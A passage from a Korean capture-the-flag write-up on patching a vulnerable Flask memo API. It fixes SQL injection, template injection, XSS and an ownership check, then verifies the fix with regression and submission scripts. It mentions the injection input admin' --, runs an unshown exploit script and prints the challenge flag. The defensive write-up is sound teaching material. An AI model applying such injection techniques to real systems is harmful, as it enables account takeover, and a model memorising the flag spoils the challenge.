# [PATCH] Flask ๋ฒ„์ „์— ๋”ฐ๋ผ render_template_string ์˜ ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ๊ธฐ๋ณธ๊ฐ’์ด ๋‹ค๋ฅด๋ฏ€๋กœ ๋ชป๋ฐ•๋Š”๋‹ค.
app.jinja_env.autoescape = True
 
def get_db():
  db = getattr(g, '_database', None)
  if db is None:
    db = g._database = sqlite3.connect(os.environ['DATABASE'])
  db.row_factory = sqlite3.Row
  return db
 
def query_db(query, args=(), one=False):
  cur = get_db().execute(query, args)
  rv = cur.fetchall()
  cur.close()
  return (rv[0] if rv else None) if one else rv
 
@app.teardown_appcontext
def close_connection(exception):
  db = getattr(g, '_database', None)
  if db is not None:
    db.close()
 
@app.route('/')
def index():
  return "api-server"
 
@app.route('/api/me')
def me():
  if session.get('uid'):
    return jsonify(userid=session['uid'])
  return jsonify(userid=None)
 
@app.route('/api/login', methods=['POST'])
def login():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    # [PATCH] f-string ์กฐ๋ฆฝ -> ํ”Œ๋ ˆ์ด์Šคํ™€๋” ๋ฐ”์ธ๋”ฉ. userid ์˜ ๋”ฐ์˜ดํ‘œ๊ฐ€ ๊ตฌ๋ฌธ์ด ๋˜์ง€ ๋ชปํ•œ๋‹ค.
    ret = query_db("SELECT * FROM users where userid=? and password=?",
                   (userid, hashlib.sha256(password.encode()).hexdigest()), one=True)
    if ret:
      session['uid'] = ret[0]
      return jsonify(result="success", userid=ret[0])
  return jsonify(result="fail")
 
@app.route('/api/logout')
def logout():
  session.pop('uid', None)
  return jsonify(result="success")
 
@app.route('/api/join', methods=['POST'])
def join():
  userid = request.form.get('userid', '')
  password = request.form.get('password', '')
  if userid and password:
    conn = get_db()
    # [PATCH] ์ค‘๋ณต ๊ฐ€์ž…์„ ๋ง‰๋Š”๋‹ค. ๊ฐ™์€ userid ๋ฅผ ๋‹ค๋ฅธ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ํ•œ ๋ฒˆ ๋” ๋„ฃ์„ ์ˆ˜ ์žˆ์œผ๋ฉด
    #         ๊ณต๊ฒฉ์ž๊ฐ€ admin ํ–‰์„ ํ•˜๋‚˜ ๋” ๋งŒ๋“ค์–ด admin ์„ธ์…˜์„ ๊ทธ๋Œ€๋กœ ์–ป๋Š”๋‹ค.
    if query_db("SELECT * FROM users where userid=?", (userid,), one=True):
      return jsonify(result="error")
    cur = conn.cursor()
    cur.execute("Insert into users values(?, ?);", (userid, hashlib.sha256(password.encode()).hexdigest()))
    conn.commit()
    return jsonify(result="success")
  return jsonify(result="error")
 
@app.route('/api/memo/add', methods=['PUT'])
def memoAdd():
  if not session.get('uid'):
    return jsonify(result="no login")
 
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  if title and contents:
    conn = get_db()
    cur = conn.cursor()
    ret = cur.execute("Insert into memo(userid, title, contents) values(?, ?, ?);", (userid, title, contents))
    conn.commit()
    return jsonify(result="success", memoidx=ret.lastrowid)
  return jsonify(result="error")
 
@app.route('/api/memo/<idx>', methods=['GET'])
def memoView(idx):
  mode = request.args.get('mode', 'json')
  # [PATCH] ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ -> ์ •์ˆ˜ ๋ณ€ํ™˜ ํ›„ ๋ฐ”์ธ๋”ฉ. ์ˆซ์ž๊ฐ€ ์•„๋‹ˆ๋ฉด ์ฟผ๋ฆฌ๋ฅผ ์•„์˜ˆ ๋งŒ๋“ค์ง€ ์•Š๋Š”๋‹ค.
  try:
    idx = int(idx)
  except (TypeError, ValueError):
    return jsonify(result="error")
  rows = query_db("SELECT * FROM memo where idx=?", (idx,))
  if not rows:
    return jsonify(result="error")
  ret = rows[0]
  if ret:
    userid = ret['userid']
    title = ret['title']
    contents = ret['contents']
    if mode == 'html':
      # [PATCH] ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํ…œํ”Œ๋ฆฟ "์†Œ์Šค" ์— ์„ž์ง€ ์•Š๊ณ  "์ธ์ž" ๋กœ ๋„˜๊ธด๋‹ค.
      #         ์ด๋ž˜์•ผ {{ }} ๊ฐ€ ์ฝ”๋“œ๊ฐ€ ์•„๋‹Œ ๋ฌธ์ž์—ด๋กœ ๋‚จ๊ณ , ์ž๋™ ์ด์Šค์ผ€์ดํ”„๋„ ๊ฑธ๋ฆฐ๋‹ค.
      template = ''' Written by {{ userid }}<h3>{{ title }}</h3>
      <pre>{{ contents }}</pre>
      '''
      return render_template_string(template, title=title, userid=userid, contents=contents)
    else:
      return jsonify(result="success",
        userid=userid,
        title=title,
        contents=contents)
  return jsonify(result="error")
 
@app.route('/api/memo/<int:idx>', methods=['PUT'])
def memoUpdate(idx):
  if not session.get('uid'):
    return jsonify(result="no login")
 
  ret = query_db('SELECT * FROM memo where idx=?', [idx,], one=True)
  userid = session.get('uid')
  title = request.form.get('title')
  contents = request.form.get('contents')
 
  # [PATCH] ๋กœ๊ทธ์ธ ์—ฌ๋ถ€๋งŒ ๋ณด๋˜ ์ž๋ฆฌ์— ์†Œ์œ ์ž ํ™•์ธ์„ ๋„ฃ๋Š”๋‹ค.
  if ret and ret['userid'] != userid:
    return jsonify(result="error")
 
  if ret and title and contents:
    conn = get_db()
    cur = conn.cursor()
    updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?",(title, contents, idx))
    conn.commit()
    if updateRet:
      return jsonify(result="success")
  return jsonify(result="error")

memoView ์—์„œ int(idx) ๋กœ ๋ฐ”๊พผ ๊ฑด ๋ฐ”์ธ๋”ฉ๋งŒ์œผ๋กœ๋„ ์ธ์ ์…˜์€ ๋ง‰ํžˆ์ง€๋งŒ ํ•œ ๊ฒน ๋” ๋‘๋ฅธ ๊ฒƒ์ด๋‹ค. ์ˆซ์ž๊ฐ€ ์•„๋‹ˆ๋ฉด ์ฟผ๋ฆฌ๋ฅผ ์•„์˜ˆ ๋งŒ๋“ค์ง€ ์•Š๋Š”๋‹ค. ์›๋ณธ์ด ์—†๋Š” ๋ฉ”๋ชจ๋ฅผ ์กฐํšŒํ•˜๋ฉด [0] ์—์„œ IndexError ๋กœ 500 ์ด ๋‚˜๋˜ ๊ฒƒ๋„ ๊ฐ™์ด ์ •๋ฆฌํ•ด ์—๋Ÿฌ JSON ์„ ๋Œ๋ ค์ฃผ๊ฒŒ ํ–ˆ๋‹ค.


โœ… ๊ฒ€์ฆ โ€” ๊ณต๊ฒฉ์€ ๋ง‰๊ณ , ๊ธฐ๋Šฅ์€ ๊ทธ๋Œ€๋กœ

๋จผ์ € ๊ฐ™์€ ์ ๊ฒ€๊ธฐ๋ฅผ ํŒจ์น˜๋ณธ(5001๋ฒˆ)์— ๋˜์ง„๋‹ค.

python3 exploit.py http://127.0.0.1:5001
ํŒจ์น˜๋ณธ์— ๋Œ€ํ•œ exploit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์—ฌ์„ฏ ํ•ญ๋ชฉ์ด ๋ชจ๋‘ SAFE ๋กœ ๋ฐ”๋€Œ๊ณ  admin ๋ฉ”๋ชจ๋„ ์›๋ž˜ ๊ฐ’ ๊ทธ๋Œ€๋กœ ๋‚จ์•„ ์žˆ๋‹ค
ํŒจ์น˜๋ณธ์— ๋Œ€ํ•œ exploit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ์—ฌ์„ฏ ํ•ญ๋ชฉ์ด ๋ชจ๋‘ SAFE ๋กœ ๋ฐ”๋€Œ๊ณ  admin ๋ฉ”๋ชจ๋„ ์›๋ž˜ ๊ฐ’ ๊ทธ๋Œ€๋กœ ๋‚จ์•„ ์žˆ๋‹ค

์—ฌ์„ฏ ๊ฑด ๋ชจ๋‘ SAFE. IDOR ํ•ญ๋ชฉ์˜ ๊ทผ๊ฑฐ ์ค„์„ ๋ณด๋ฉด admin ๋ฉ”๋ชจ์˜ ๋‚ด์šฉ์ด ๋ฎ์–ด์จ์ง€์ง€ ์•Š๊ณ  ์›๋ž˜ ๊ฐ’ ๊ทธ๋Œ€๋กœ๋‹ค.

์—ฌ๊ธฐ์„œ ๋๋‚ด๋ฉด ์ ˆ๋ฐ˜์ด๋‹ค. SLA ๊ฐ€ ์žˆ์œผ๋‹ˆ ์ •์ƒ ์š”์ฒญ์˜ ์‘๋‹ต์ด ์˜ˆ์ „๊ณผ ๊ฐ™์€์ง€๋ฅผ ๋”ฐ๋กœ ๋ด์•ผ ํ•œ๋‹ค. ๊ฐ€์ž…๋ถ€ํ„ฐ ๋กœ๊ทธ์•„์›ƒ๊นŒ์ง€ ์—ด๋‘ ๋‹จ๊ณ„๋ฅผ ์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์— ๋˜‘๊ฐ™์ด ๋˜์ ธ ์‘๋‹ต์„ ๋‚˜๋ž€ํžˆ ๋น„๊ตํ–ˆ๋‹ค.

# functest.py โ€” ์ •์ƒ ๊ธฐ๋Šฅ ํšŒ๊ท€ ํ…Œ์ŠคํŠธ
import html as htmllib
import sys
 
import requests
 
A = sys.argv[1].rstrip("/")
B = sys.argv[2].rstrip("/")
 
 
def scenario(base):
    """๊ฐ€์ž… -> ๋กœ๊ทธ์ธ -> ๋ฉ”๋ชจ ์ž‘์„ฑ -> ์กฐํšŒ(json/html) -> ์ˆ˜์ • -> ๋กœ๊ทธ์•„์›ƒ ์ „ ๊ณผ์ •.
 
    โ˜… ๋‘ ์„œ๋ฒ„๋ฅผ ๊ฐ“ ๋„์šด ์ƒํƒœ์—์„œ ๋Œ๋ฆฐ๋‹ค(local/serve.sh ๊ฐ€ ๊ธฐ๋™ํ•  ๋•Œ๋งˆ๋‹ค DB๋ฅผ ์ƒˆ๋กœ ๋งŒ๋“ ๋‹ค).
      alice ๊ฐ€ ์ด๋ฏธ ์žˆ์œผ๋ฉด ์›๋ณธ app.py ๋Š” users PK ์ถฉ๋Œ๋กœ 500 ์„ ๋ฑ‰์–ด ๋น„๊ต๊ฐ€ ์–ด๊ธ‹๋‚œ๋‹ค.
    """
    s = requests.Session()
    out = []
    r0 = s.post(f"{base}/api/join", data={"userid": "alice", "password": "pw1234"})
    if r0.status_code != 200:
        sys.exit(f"[!] {base} /api/join ์ด HTTP {r0.status_code} โ€” ์„œ๋ฒ„๋ฅผ ์ƒˆ๋กœ ๋„์šฐ๊ณ  ๋‹ค์‹œ ๋Œ๋ฆด ๊ฒƒ")
    out.append(("join", r0.json()))
    out.append(("login-wrong", s.post(f"{base}/api/login",
                                      data={"userid": "alice", "password": "nope"}).json()))
    out.append(("login", s.post(f"{base}/api/login",
                                data={"userid": "alice", "password": "pw1234"}).json()))
    out.append(("me", s.get(f"{base}/api/me").json()))
 
    add = s.put(f"{base}/api/memo/add",
                data={"title": "ํšŒ์˜๋ก", "contents": "3์‹œ์— <๋‹ค์‹œ> ๋ชจ์ด๊ธฐ"}).json()
    idx = add.pop("memoidx")
    out.append(("memo-add", add))
    out.append(("memo-json", s.get(f"{base}/api/memo/{idx}").json()))
    out.append(("memo-html", s.get(f"{base}/api/memo/{idx}?mode=html").text.strip()))
    out.append(("memo-update", s.put(f"{base}/api/memo/{idx}",
                                     data={"title": "ํšŒ์˜๋ก2", "contents": "4์‹œ๋กœ ๋ณ€๊ฒฝ"}).json()))
    out.append(("memo-json2", s.get(f"{base}/api/memo/{idx}").json()))
    out.append(("memo-add-nologin", requests.put(f"{base}/api/memo/add",
                                                 data={"title": "x", "contents": "y"}).json()))
    out.append(("logout", s.get(f"{base}/api/logout").json()))
    out.append(("me-after", s.get(f"{base}/api/me").json()))
    return out
 
 
ra, rb = scenario(A), scenario(B)
bad = 0
print(f"{'๋‹จ๊ณ„':<18}{'์›๋ณธ == ํŒจ์น˜๋ณธ':<14}๊ฐ’")
print("-" * 78)
for (na, va), (nb, vb) in zip(ra, rb):
    same = va == vb
    note = ""
    # html ๋ชจ๋“œ๋Š” XSS ํŒจ์น˜ ๋•Œ๋ฌธ์— <, > ๊ฐ€ ์—”ํ‹ฐํ‹ฐ๋กœ ๋ฐ”๋€๋‹ค. ๋˜๋Œ๋ ค์„œ ๊ฐ™์œผ๋ฉด ์˜๋„๋œ ์ฐจ์ด๋‹ค.
    if not same and na == "memo-html" and htmllib.unescape(vb) == va:
        same, note = True, "  (์ด์Šค์ผ€์ดํ”„๋งŒ ๋‹ค๋ฆ„ = ํŒจ์น˜ ์˜๋„)"
    bad += 0 if same else 1
    shown = str(va).replace("\n", " ")
    print(f"{na:<18}{'OK' if same else '๋‹ค๋ฆ„':<14}{shown[:52]}{note}")
    if not same:
        print(f"{'':<32}ํŒจ์น˜๋ณธ: {str(vb)[:52]}")
print("-" * 78)
print(f"๋ถˆ์ผ์น˜ {bad}๊ฑด / {len(ra)}๋‹จ๊ณ„")
sys.exit(1 if bad else 0)
python3 functest.py http://127.0.0.1:5000 http://127.0.0.1:5001
functest.py ๋กœ ์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์˜ ์‘๋‹ต์„ ์—ด๋‘ ๋‹จ๊ณ„ ๋น„๊ตํ•œ ๊ฒฐ๊ณผ โ€” ๋ถˆ์ผ์น˜ 0๊ฑด์ด๊ณ  html ๋ชจ๋“œ๋งŒ ์ด์Šค์ผ€์ดํ”„ ์ฐจ์ด๋กœ ํ‘œ์‹œ๋œ๋‹ค
functest.py ๋กœ ์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์˜ ์‘๋‹ต์„ ์—ด๋‘ ๋‹จ๊ณ„ ๋น„๊ตํ•œ ๊ฒฐ๊ณผ โ€” ๋ถˆ์ผ์น˜ 0๊ฑด์ด๊ณ  html ๋ชจ๋“œ๋งŒ ์ด์Šค์ผ€์ดํ”„ ์ฐจ์ด๋กœ ํ‘œ์‹œ๋œ๋‹ค

์—ด๋‘ ๋‹จ๊ณ„ ์ค‘ ์œ ์ผํ•˜๊ฒŒ ๊ฐ’์ด ๋‹ฌ๋ผ์ง„ ๊ฑด memo-html ์ด๋‹ค. ๊ทธ๊ฑด <๋‹ค์‹œ> ๊ฐ€ &lt;๋‹ค์‹œ&gt; ๋กœ ๋ฐ”๋€ ๊ฒƒ์ด๋ผ ์ •ํ™•ํžˆ XSS ํŒจ์น˜์˜ ๊ฒฐ๊ณผ๋‹ค. ์—”ํ‹ฐํ‹ฐ๋ฅผ ๋˜๋Œ๋ฆฌ๋ฉด ์›๋ณธ๊ณผ ๊ฐ™์•„์ง€๋ฏ€๋กœ ์˜๋„๋œ ์ฐจ์ด๋กœ ํ‘œ์‹œํ•˜๊ฒŒ ํ–ˆ๋‹ค.



๐Ÿš€ ์ œ์ถœ โ€” Submit ๋ฒ„ํŠผ์€ 3๋‹จ๊ณ„๋‹ค

ํŽ˜์ด์ง€์˜ Submit ๋ฒ„ํŠผ์ด ํ•˜๋Š” ์ผ์„ ์ฝ์–ด ๋ณด๋ฉด ๋‹จ์ˆœํ•˜๋‹ค. contenteditable ์ธ <pre> ์˜ innerText ๋ฅผ UTF-8 ๋กœ ์ธ์ฝ”๋”ฉํ•ด base64 ๋กœ ์‹ค์–ด ๋ณด๋‚ธ๋‹ค.

$("[contenteditable]").each(function(index, item){
  var element = document.createElement("input");
  element.name  = item.getAttribute("filename");           // "app.py"
  element.value = btoa(unescape(encodeURIComponent(item.innerText)));
  element.type  = "hidden";
  form.appendChild(element);
});
form.action = "/check";   form.method = "POST";

์—ฌ๊ธฐ์„œ ํ•œ ๋ฒˆ ๊ฑธ๋ ธ๋‹ค. /check ๋กœ ๋ณด๋‚ด๋ฉด ์›๋ณธ๊ณผ์˜ diff ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํ™•์ธ ํ™”๋ฉด์ด ๋‚˜์˜ฌ ๋ฟ, ์ฑ„์ ์€ ์‹œ์ž‘๋˜์ง€ ์•Š๋Š”๋‹ค. ๊ทธ ํ™”๋ฉด์˜ Continue ๋ฒ„ํŠผ์ด ๊ฐ™์€ base64 ๋ฅผ /run ์œผ๋กœ ๋‹ค์‹œ ๋ณด๋‚ด์•ผ ๋น„๋กœ์†Œ ์ฑ„์ ์ด ๋ˆ๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ๊ฒฐ๊ณผ๋Š” ๋น„๋™๊ธฐ๋ผ /result/<uuid> ๊ฐ€ ํ•œ๋™์•ˆ process... ๋งŒ ์ฐ๊ณ , ๊ทธ ํŽ˜์ด์ง€๋ฅผ ๋ณด๋ ค๋ฉด ์•ž ๋‹จ๊ณ„์˜ ์ฟ ํ‚ค๋ฅผ ๋“ค๊ณ  ๊ฐ€์•ผ ํ•œ๋‹ค.

๋ธŒ๋ผ์šฐ์ €์—์„œ ๊ทธ๋Œ€๋กœ ํ•ด ๋ณด๋ฉด ์ด๋ ‡๋‹ค. ํŽธ์ง‘ ์˜์—ญ์„ ํŒจ์น˜๋ณธ์œผ๋กœ ๋ฐ”๊พธ๊ณ ,

PATCH-1 ํŽธ์ง‘ ํ™”๋ฉด์— ํŒจ์น˜๋ณธ ์†Œ์Šค๋ฅผ ๋„ฃ์€ ์ƒํƒœ โ€” secret_key ์™€ autoescape ๋ฅผ ๊ณ ์นœ ์ฃผ์„์ด ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค
PATCH-1 ํŽธ์ง‘ ํ™”๋ฉด์— ํŒจ์น˜๋ณธ ์†Œ์Šค๋ฅผ ๋„ฃ์€ ์ƒํƒœ โ€” secret_key ์™€ autoescape ๋ฅผ ๊ณ ์นœ ์ฃผ์„์ด ๊ทธ๋Œ€๋กœ ๋ณด์ธ๋‹ค

Submit ์„ ๋ˆ„๋ฅด๋ฉด ์›๋ณธ๊ณผ์˜ diff ๋ฅผ ๋ณด์—ฌ์ค€๋‹ค.

์ œ์ถœ ํ™•์ธ ํ™”๋ฉด โ€” ์›๋ณธ app.py ์™€ ํŒจ์น˜๋ณธ์˜ ํ†ตํ•ฉ diff ๊ฐ€ ํ‘œ์‹œ๋˜๊ณ  Continue ๋ฅผ ๋ˆŒ๋Ÿฌ์•ผ ์ฑ„์ ์ด ์‹œ์ž‘๋œ๋‹ค
์ œ์ถœ ํ™•์ธ ํ™”๋ฉด โ€” ์›๋ณธ app.py ์™€ ํŒจ์น˜๋ณธ์˜ ํ†ตํ•ฉ diff ๊ฐ€ ํ‘œ์‹œ๋˜๊ณ  Continue ๋ฅผ ๋ˆŒ๋Ÿฌ์•ผ ์ฑ„์ ์ด ์‹œ์ž‘๋œ๋‹ค

์ด ํ๋ฆ„์„ ๊ทธ๋Œ€๋กœ ์˜ฎ๊ธด ๊ฒŒ ์•„๋ž˜ ์Šคํฌ๋ฆฝํŠธ๋‹ค.

#!/usr/bin/env python3
"""ํŒจ์น˜๋ณธ app.py ๋ฅผ ์ฑ„์  ์„œ๋ฒ„์— ์˜ฌ๋ฆฌ๊ณ  ํŒ์ •์ด ๋‚˜์˜ฌ ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฐ๋‹ค.
 
  POST /check  <- ํŽ˜์ด์ง€์˜ Submit ๋ฒ„ํŠผ. ์›๋ณธ๊ณผ์˜ diff ๋ฅผ ๋ณด์—ฌ์ฃผ๋Š” ํ™•์ธ ํ™”๋ฉด
  POST /run    <- ๊ทธ ํ™”๋ฉด์˜ Continue ๋ฒ„ํŠผ. ์—ฌ๊ธฐ์„œ ์‹ค์ œ ์ฑ„์ ์ด ์‹œ์ž‘๋œ๋‹ค
  GET  /result/<uuid>  <- ๋น„๋™๊ธฐ๋ผ ์ฒ˜์Œ์—” 'process...' ๋งŒ ๋‚˜์˜จ๋‹ค. ๋๋‚  ๋•Œ๊นŒ์ง€ ํด๋ง
"""
import base64
import html
import re
import sys
import time
 
import requests
 
BASE = sys.argv[1].rstrip("/")
SRC = sys.argv[2] if len(sys.argv) > 2 else "app_patched.py"
 
 
def totext(page, cut="Input Code"):
    body = page[page.find("</nav>"):]
    end = body.find(cut)
    if end > 0:
        body = body[:end]
    body = re.sub(r"<script[\s\S]*?</script>", "", body)
    text = html.unescape(re.sub(r"<[^>]+>", "\n", body))
    return "\n".join(l.rstrip() for l in text.splitlines() if l.strip())
 
 
code = open(SRC, "rb").read()
payload = base64.b64encode(code).decode()
print(f"[*] {SRC} {len(code)} bytes -> base64 {len(payload)} chars")
 
sess = requests.Session()
r = sess.post(f"{BASE}/check", data={"app.py": payload}, timeout=60)
print(f"[*] POST /check -> HTTP {r.status_code} (์›๋ณธ๊ณผ์˜ diff ํ™•์ธ ํ™”๋ฉด)")
 
m = re.search(r'name="app\.py"\s+value="([^"]+)"', r.text)
if not m:
    print("[!] Continue ํผ์˜ hidden input ์„ ๋ชป ์ฐพ์•˜๋‹ค:")
    print(totext(r.text)[:800])
    sys.exit(2)
 
r = sess.post(f"{BASE}/run", data={"app.py": m.group(1)}, timeout=300)
run_url = r.url
print(f"[*] POST /run   -> HTTP {r.status_code}  {run_url}")
 
for i in range(40):
    out = totext(sess.get(run_url, timeout=30).text)
    if "process" not in out.lower():
        print("\n=== ์ฑ„์  ๊ฒฐ๊ณผ ===")
        print(out)
        break
    print(f"    [{i:02d}] ์ฑ„์  ์ค‘...")
    time.sleep(5)
else:
    print("[!] ์‹œ๊ฐ„ ๋‚ด์— ์ฑ„์ ์ด ๋๋‚˜์ง€ ์•Š์•˜๋‹ค")
python3 submit.py http://host3.dreamhack.games:18666 app_patched.py
submit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” check ์™€ run ์„ ๊ฑฐ์ณ ์ฑ„์ ์ด ๋๋‚˜๊ณ  ALL PASS ์™€ ํ•จ๊ป˜ flag ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค
submit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” check ์™€ run ์„ ๊ฑฐ์ณ ์ฑ„์ ์ด ๋๋‚˜๊ณ  ALL PASS ์™€ ํ•จ๊ป˜ flag ๊ฐ€ ์ถœ๋ ฅ๋œ๋‹ค

๋ธŒ๋ผ์šฐ์ €๋กœ ๋ˆŒ๋Ÿฌ๋„ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ๋‹ค.

์ฑ„์  ๊ฒฐ๊ณผ ํŽ˜์ด์ง€ โ€” ALL PASS ์™€ flag ๊ฐ€ ํ‘œ์‹œ๋˜๊ณ  ์•„๋ž˜์— ์ œ์ถœํ•œ ํŒจ์น˜๋ณธ ์†Œ์Šค๊ฐ€ ๊ทธ๋Œ€๋กœ ์‹ค๋ ค ์žˆ๋‹ค
์ฑ„์  ๊ฒฐ๊ณผ ํŽ˜์ด์ง€ โ€” ALL PASS ์™€ flag ๊ฐ€ ํ‘œ์‹œ๋˜๊ณ  ์•„๋ž˜์— ์ œ์ถœํ•œ ํŒจ์น˜๋ณธ ์†Œ์Šค๊ฐ€ ๊ทธ๋Œ€๋กœ ์‹ค๋ ค ์žˆ๋‹ค

ALL PASS. ์ฒซ ์ œ์ถœ์—์„œ ๊ณต๊ฒฉ ํ…Œ์ŠคํŠธ์™€ SLA ๋ฅผ ํ•œ ๋ฒˆ์— ํ†ต๊ณผํ–ˆ๋‹ค.

=== ์ฑ„์  ๊ฒฐ๊ณผ ===
Result - 5b49f279-5bf6-4fcd-8218-f6da43cd2913
ALL PASS
Flag is DH{7e07d530518d7983c066a7019b6cf027}

๐Ÿ” ์žฌํ˜„

๋ผ์ด๋ธŒ ์ธ์Šคํ„ด์Šค๋Š” ์‹œ๊ฐ„์ด ์ง€๋‚˜๋ฉด ์‚ฌ๋ผ์ง€๋‹ˆ, ์˜คํ”„๋ผ์ธ๋งŒ์œผ๋กœ๋„ ๊ฒ€์ฆ์ด ๋๋‚˜๊ฒŒ ๋ฌถ์–ด ๋’€๋‹ค. ์„œ๋ฒ„ ์ฃผ์†Œ๋ฅผ ์ฃผ๋ฉด ์ œ์ถœ๊นŒ์ง€ ์ด์–ด์„œ ์‹ค์ œ flag ์™€ ๋Œ€์กฐํ•œ๋‹ค.

#!/usr/bin/env bash
# PATCH-1 โ€” ํ•œ ๋ฐฉ ์žฌํ˜„.
#
#   ./reproduce.sh                                    # ์˜คํ”„๋ผ์ธ ๊ฒ€์ฆ๊นŒ์ง€
#   ./reproduce.sh http://host3.dreamhack.games:PORT  # + ๋ผ์ด๋ธŒ ์ฑ„์  ์„œ๋ฒ„ ์ œ์ถœ
set -u
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{7e07d530518d7983c066a7019b6cf027}'
LIVE="${1:-}"
PORT_A=5000
PORT_B=5001
PIDS=()
 
cleanup() { for p in "${PIDS[@]:-}"; do [ -n "$p" ] && kill "$p" 2>/dev/null; done; }
trap cleanup EXIT
 
start() {  # start <app.py> <port>
  DATABASE="$PWD/local/repro_$2.db" \
    python3 local/init_db.py "$PWD/local/repro_$2.db" >/dev/null
  DATABASE="$PWD/local/repro_$2.db" \
    python3 -m flask --app "$1" run --host 127.0.0.1 --port "$2" >"/tmp/patch1_repro_$2.log" 2>&1 &
  PIDS+=($!)
}
 
echo "== ๋กœ์ปฌ ์„œ๋ฒ„ ๊ธฐ๋™ (์›๋ณธ :$PORT_A / ํŒจ์น˜๋ณธ :$PORT_B)"
start extracted/app.py "$PORT_A"
start app_patched.py "$PORT_B"
for _ in $(seq 30); do
  curl -sf "http://127.0.0.1:$PORT_B/" >/dev/null 2>&1 && break
  sleep 0.5
done
 
OUT_A=$(python3 exploit.py "http://127.0.0.1:$PORT_A" 2>&1)
VULN_A=$(printf '%s' "$OUT_A" | grep -oE '์ทจ์•ฝ [0-9]+๊ฑด' | grep -oE '[0-9]+')
OUT_B=$(python3 exploit.py "http://127.0.0.1:$PORT_B" 2>&1)
VULN_B=$(printf '%s' "$OUT_B" | grep -oE '์ทจ์•ฝ [0-9]+๊ฑด' | grep -oE '[0-9]+')
OUT_F=$(python3 functest.py "http://127.0.0.1:$PORT_A" "http://127.0.0.1:$PORT_B" 2>&1)
DIFF_F=$(printf '%s' "$OUT_F" | grep -oE '๋ถˆ์ผ์น˜ [0-9]+๊ฑด' | grep -oE '[0-9]+')
 
OK=1
[ "${VULN_A:-0}" = "6" ] || { echo "โŒ ์›๋ณธ์—์„œ 6๊ฑด์ด ์•ˆ ๋‚˜์™”๋‹ค (${VULN_A:-?})"; OK=0; }
[ "${VULN_B:-9}" = "0" ] || { echo "โŒ ํŒจ์น˜๋ณธ์ด ์•„์ง ๋šซ๋ฆฐ๋‹ค (${VULN_B:-?})"; OK=0; }
[ "${DIFF_F:-9}" = "0" ] || { echo "โŒ ๊ธฐ๋Šฅ์ด ๊นจ์กŒ๋‹ค (๋ถˆ์ผ์น˜ ${DIFF_F:-?}๊ฑด)"; OK=0; }
 
if [ -n "$LIVE" ]; then
  OUT_S=$(timeout 400 python3 submit.py "$LIVE" app_patched.py 2>&1)
  FLAG=$(printf '%s' "$OUT_S" | grep -aoE 'DH\{[^}]+\}' | head -1)
  [ "$FLAG" = "$EXPECT" ] || { echo "โŒ FAIL (์–ป์€ ๊ฐ’: '${FLAG:-์—†์Œ}')"; exit 1; }
  echo "โœ… PASS  $FLAG"; exit 0
fi
 
[ "$OK" = "1" ] && { echo "โœ… PASS  ์˜คํ”„๋ผ์ธ ๊ฒ€์ฆ ํ†ต๊ณผ"; exit 0; }
echo "โŒ FAIL"; exit 1

๋กœ์ปฌ ํ™˜๊ฒฝ์€ Ubuntu(์ปค๋„ 6.17) ยท Python 3.13.7 ยท Flask 3.1.3 ยท Jinja2 3.1.6 ์ด์—ˆ๋‹ค. ๋ฌธ์ œ ์„œ๋ฒ„๋Š” requirements.txt ๊ฐ€ flask ํ•œ ์ค„์ด๋ผ ๋ฒ„์ „์ด ๋‹ค๋ฅผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ํŒจ์น˜๋Š” ๋ฒ„์ „์— ์˜์กดํ•˜์ง€ ์•Š๊ฒŒ ์งฐ๋‹ค(์‚ฝ์งˆ 3 ์ฐธ๊ณ ).



๐Ÿ“ ๊ฒฐ๋ก 

์ทจ์•ฝ์ ์„ ์•„๋Š” ๊ฒƒ๊ณผ ๊ณ ์น˜๋Š” ๊ฒƒ์€ ๋‹ค๋ฅธ ์ผ์ด๋‹ค

SQLi ๋ฅผ ์•ˆ๋‹ค๋Š” ๊ฑด admin' -- ๋ฅผ ๋„ฃ์„ ์ค„ ์•ˆ๋‹ค๋Š” ๋œป์ด๊ธฐ๋„ ํ•˜๊ณ , ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ์„ ํ”Œ๋ ˆ์ด์Šคํ™€๋”๋กœ ๋ฐ”๊ฟ€ ์ค„ ์•ˆ๋‹ค๋Š” ๋œป์ด๊ธฐ๋„ ํ•˜๋‹ค. ์ด ๋ฌธ์ œ๋Š” ํ›„์ž๋งŒ ์ฑ„์ ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ณ ์น˜๋Š” ์ชฝ์—๋Š” ๊ณต๊ฒฉ์—๋Š” ์—†๋Š” ์ œ์•ฝ์ด ํ•˜๋‚˜ ๋” ๋ถ™๋Š”๋‹ค. ๋ฉ€์ฉกํ•œ ์š”์ฒญ์„ ๊นจ๋œจ๋ฆฌ๋ฉด ์•ˆ ๋œ๋‹ค๋Š” ๊ฒƒ.

SSTI ๋Š” "ํ…œํ”Œ๋ฆฟ ์†Œ์Šค์— ๋ฌด์—‡์ด ๋“ค์–ด๊ฐ€๋Š”๊ฐ€"์˜ ๋ฌธ์ œ๋‹ค

